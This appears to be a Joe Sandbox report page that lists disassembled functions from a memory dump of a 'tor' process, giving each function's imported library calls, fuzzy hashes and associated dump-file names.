Opcode Fuzzy Hash: b6018ab40988cd6ef69a6b748816145815b934db904f33cd065cf44c462095ae
Instruction Fuzzy Hash: 36915DB5E0522ADFCB40DFA8D584A9EBBF0BF49314F118829E894EB350E734A941CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0156EB7E Relevance: 7.6, APIs: 5, Instructions: 145COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,01570AE9), ref: 0156EBEE
__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,01570AE9), ref: 0156ED9A

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failabort
String ID:
API String ID: 3276312271-0
Opcode ID: 20eff82e2f2dbb767dfa668f4f5d31127e794c8141b66ed56fc3c787f6d57039
Instruction ID: 5d9ea671eddb8ae6fa91fbeeea9752f6d3747e34a13dcad00590ce8451129434
Opcode Fuzzy Hash: 20eff82e2f2dbb767dfa668f4f5d31127e794c8141b66ed56fc3c787f6d57039
Instruction Fuzzy Hash: 4B51D9B890521ADFDB50DFA8C4856AEBBF4FF48344F00881EE495AB350D3789945CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 013EEF2F Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 013EEF9E
__stack_chk_fail.LIBSSP-0 ref: 013EF119

Part of subcall function 013EEECB: __stack_chk_fail.LIBSSP-0 ref: 013EEF28

free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 013EEFD0
abort.MSVCRT ref: 013EF05C
abort.MSVCRT ref: 013EF0FC

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failabortfree
String ID:
API String ID: 2993053461-0
Opcode ID: ac1d99ee44ffb3fbefdc6cd58608762b459e539ff7327dea2a8f634f712f96a1
Instruction ID: fab603046b9b8b1b94472c446387e26169e6101227bc63311c0a5d482cf90e46
Opcode Fuzzy Hash: ac1d99ee44ffb3fbefdc6cd58608762b459e539ff7327dea2a8f634f712f96a1
Instruction Fuzzy Hash: C651F974A043298FDB10EFA9D88869DBBF5FF49314F05846AE984AB350E774E844CF61

Uniqueness

Uniqueness Score: -1.00%

Function 013E1105 Relevance: 7.6, APIs: 5, Instructions: 131COMMON

Download Yara Rule

APIs

Part of subcall function 013EAE6E: abort.MSVCRT ref: 013EAEC4
Part of subcall function 013EAE6E: abort.MSVCRT ref: 013EAF0F
Part of subcall function 013EAE6E: abort.MSVCRT ref: 013EAF5A

abort.MSVCRT ref: 013E1174
abort.MSVCRT ref: 013E11B6
abort.MSVCRT ref: 013E11F5
__stack_chk_fail.LIBSSP-0 ref: 013E1338

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

time.MSVCRT ref: 013E131D

Part of subcall function 01552A11: __stack_chk_fail.LIBSSP-0 ref: 01552A86

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: abort$__stack_chk_fail$strrchr$time
String ID:
API String ID: 2419923270-0
Opcode ID: 7acaec66329295262b8d44020ffade3bcb5e2733a4d7d8310d7e2066584c0cea
Instruction ID: b014b499ec364ba62ef0e203469deba44888b9ca4f58d70ed668aa1043b79596
Opcode Fuzzy Hash: 7acaec66329295262b8d44020ffade3bcb5e2733a4d7d8310d7e2066584c0cea
Instruction Fuzzy Hash: 1451B6B49043169FCB40EFA9C9486AEBBF5BF44318F40881EE894AB341D778D945DF62

Uniqueness

Uniqueness Score: -1.00%

Function 0147DEFC Relevance: 7.6, APIs: 5, Instructions: 112COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 0147DF72

Part of subcall function 01403B4F: __stack_chk_fail.LIBSSP-0 ref: 01403B85

Part of subcall function 015563EB: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,0141B715), ref: 01556488
Part of subcall function 015563EB: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,0141B715), ref: 0155649B

abort.MSVCRT ref: 0147DFB1
time.MSVCRT ref: 0147E058
free.MSVCRT ref: 0147E0A1
__stack_chk_fail.LIBSSP-0 ref: 0147E0BB

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abort$strrchr$freetime
String ID:
API String ID: 4097820427-0
Opcode ID: 777b3573029da099fbaabd6f8a2876ee20b8c70d4faebd4bc792f8ad1bda2530
Instruction ID: 61a5b459eec025de0227b505dd20778732f524af6764dcef260536f58b3c2635
Opcode Fuzzy Hash: 777b3573029da099fbaabd6f8a2876ee20b8c70d4faebd4bc792f8ad1bda2530
Instruction Fuzzy Hash: 695194B490871ADFCB40EFA8C59469EBBF0BF48314F40881EE894A7350D7789984DF66

Uniqueness

Uniqueness Score: -1.00%

Function 01417E52 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

time.MSVCRT ref: 01417E8D
free.MSVCRT ref: 01417F0E
free.MSVCRT ref: 01417F88
time.MSVCRT ref: 01417F9F

Part of subcall function 01556922: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,01417EB3), ref: 0155694E

Part of subcall function 01572469: __stack_chk_fail.LIBSSP-0 ref: 015724CA

Part of subcall function 013FF822: __stack_chk_fail.LIBSSP-0 ref: 013FF9B4

__stack_chk_fail.LIBSSP-0 ref: 01417FE9

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$freetime
String ID:
API String ID: 3318300469-0
Opcode ID: ea1e99fd3d21fc42dd3cb049c17def44103db463725c165c3931c94f98ec54ec
Instruction ID: fdd519c4350b0dc06549e7603168629fea0bad8969ca50ae748a57f0d23a258f
Opcode Fuzzy Hash: ea1e99fd3d21fc42dd3cb049c17def44103db463725c165c3931c94f98ec54ec
Instruction Fuzzy Hash: 085195B490430ACFDB40DFA8C48479EBBF1BF48314F10892AE994A7350D774A945CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 0155B99C Relevance: 7.6, APIs: 5, Instructions: 90COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 0155B9F8
abort.MSVCRT ref: 0155BA3C
__stack_chk_fail.LIBSSP-0 ref: 0155BAEE

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 0155BA8F
memcpy.MSVCRT ref: 0155BABF

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failabort$strrchr$memcpy
String ID:
API String ID: 1741786893-0
Opcode ID: 28675ce1ae73f5418ba9ceb6fe692868a436b30a79fa7c0fe4c8cc51cf809edd
Instruction ID: 1b7a6abe29172f4bc4d2c32d2d20c29f1ce8649794f325b1ba3155b09cb907f9
Opcode Fuzzy Hash: 28675ce1ae73f5418ba9ceb6fe692868a436b30a79fa7c0fe4c8cc51cf809edd
Instruction Fuzzy Hash: 2641C5B4A0531ADFCB40DFA9C5986AEBBF5BF48204F50885DE894AB300D774DA44DF22

Uniqueness

Uniqueness Score: -1.00%

Function 01552F1C Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,015533A2), ref: 01552F7A
abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,015533A2), ref: 01552FC7
abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,015533A2), ref: 01553014
memset.MSVCRT ref: 0155302F
__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,015533A2), ref: 01553064

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failabort$strrchr$memset
String ID:
API String ID: 854832852-0
Opcode ID: ee1483945d34fd11fef76aa39e45ebb4d2642df60ea995c26d37426801570eff
Instruction ID: 6f9d6ef634c28ea799e6f92e0f7dce6256cfb26e1687a9925ad188d62740a345
Opcode Fuzzy Hash: ee1483945d34fd11fef76aa39e45ebb4d2642df60ea995c26d37426801570eff
Instruction Fuzzy Hash: 603107B0905356DFCF40EFA9C8585AEBBF0BF44358F40891AE894AB240E778D645DF62

Uniqueness

Uniqueness Score: -1.00%

Function 015621A5 Relevance: 7.6, APIs: 5, Instructions: 83COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 01562201
abort.MSVCRT ref: 01562243
abort.MSVCRT ref: 01562282
abort.MSVCRT ref: 015622C1
__stack_chk_fail.LIBSSP-0 ref: 015622EC

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: abort$__stack_chk_fail$strrchr
String ID:
API String ID: 1113427550-0
Opcode ID: 213259c0b77ed87c75dac847f5cd1bdb73c5866196f2258c81f90d1ea5fe41ce
Instruction ID: c58246b52b753a48cb61844b028411a4cb7bd763a2a513e1dc79e21a2e281514
Opcode Fuzzy Hash: 213259c0b77ed87c75dac847f5cd1bdb73c5866196f2258c81f90d1ea5fe41ce
Instruction Fuzzy Hash: 62310CB4905306DFDB40EFA5C9886AEBBF4BF48249F40895DE8849B300D738D584DF62

Uniqueness

Uniqueness Score: -1.00%

Function 01553363 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

Part of subcall function 015644C7: memset.MSVCRT ref: 01564500
Part of subcall function 015644C7: __stack_chk_fail.LIBSSP-0 ref: 01564513

Part of subcall function 01552F1C: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,015533A2), ref: 01552F7A
Part of subcall function 01552F1C: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,015533A2), ref: 01552FC7
Part of subcall function 01552F1C: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,015533A2), ref: 01553014
Part of subcall function 01552F1C: memset.MSVCRT ref: 0155302F
Part of subcall function 01552F1C: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,015533A2), ref: 01553064

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,013B828F), ref: 015533DF
_fileno.MSVCRT ref: 01553401
free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,013B828F), ref: 0155342D
abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,013B828F), ref: 01553484
__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,013B828F), ref: 015534A1

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failabort$memsetstrrchr$_filenofree
String ID:
API String ID: 521149306-0
Opcode ID: 0f726d66ef18e02193cff6f6b2448113944a156be12f024cc08501cbf242e765
Instruction ID: 500af5959b5304a72cd361c76d5cab488bf0ffabf68910d212e5bb0ff6d44d10
Opcode Fuzzy Hash: 0f726d66ef18e02193cff6f6b2448113944a156be12f024cc08501cbf242e765
Instruction Fuzzy Hash: F831B6B4A093069FCB80EFA9C99466EBBF4BF54354F01881DE884DB310E7789544DF62

Uniqueness

Uniqueness Score: -1.00%

Function 0157EA01 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 0157EA5E
SSL_CIPHER_find.SSLEAY32 ref: 0157EA97
SSL_CIPHER_get_id.SSLEAY32 ref: 0157EAAB
abort.MSVCRT ref: 0157EAEF
__stack_chk_fail.LIBSSP-0 ref: 0157EB09

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abortstrrchr$R_findR_get_id
String ID:
API String ID: 1642003204-0
Opcode ID: 306b25c8f08897a74d63d09c16da2591bf351050e4a5355ff022e6bbaee735f9
Instruction ID: 66da48e1e0bbbd8033c5e083fff0f7addb8502d986c5daaa91ac88db241b1374
Opcode Fuzzy Hash: 306b25c8f08897a74d63d09c16da2591bf351050e4a5355ff022e6bbaee735f9
Instruction Fuzzy Hash: 433109B490935A9FCF00EFA5C5482AEBBF5BF44344F40845EE8849B240E778DA44DFA2

Uniqueness

Uniqueness Score: -1.00%

Function 0157BC09 Relevance: 7.6, APIs: 5, Instructions: 65COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 0157BC6C
abort.MSVCRT ref: 0157BCAB
RAND_bytes.LIBEAY32 ref: 0157BCBD
abort.MSVCRT ref: 0157BD00

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

__stack_chk_fail.LIBSSP-0 ref: 0157BD11

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
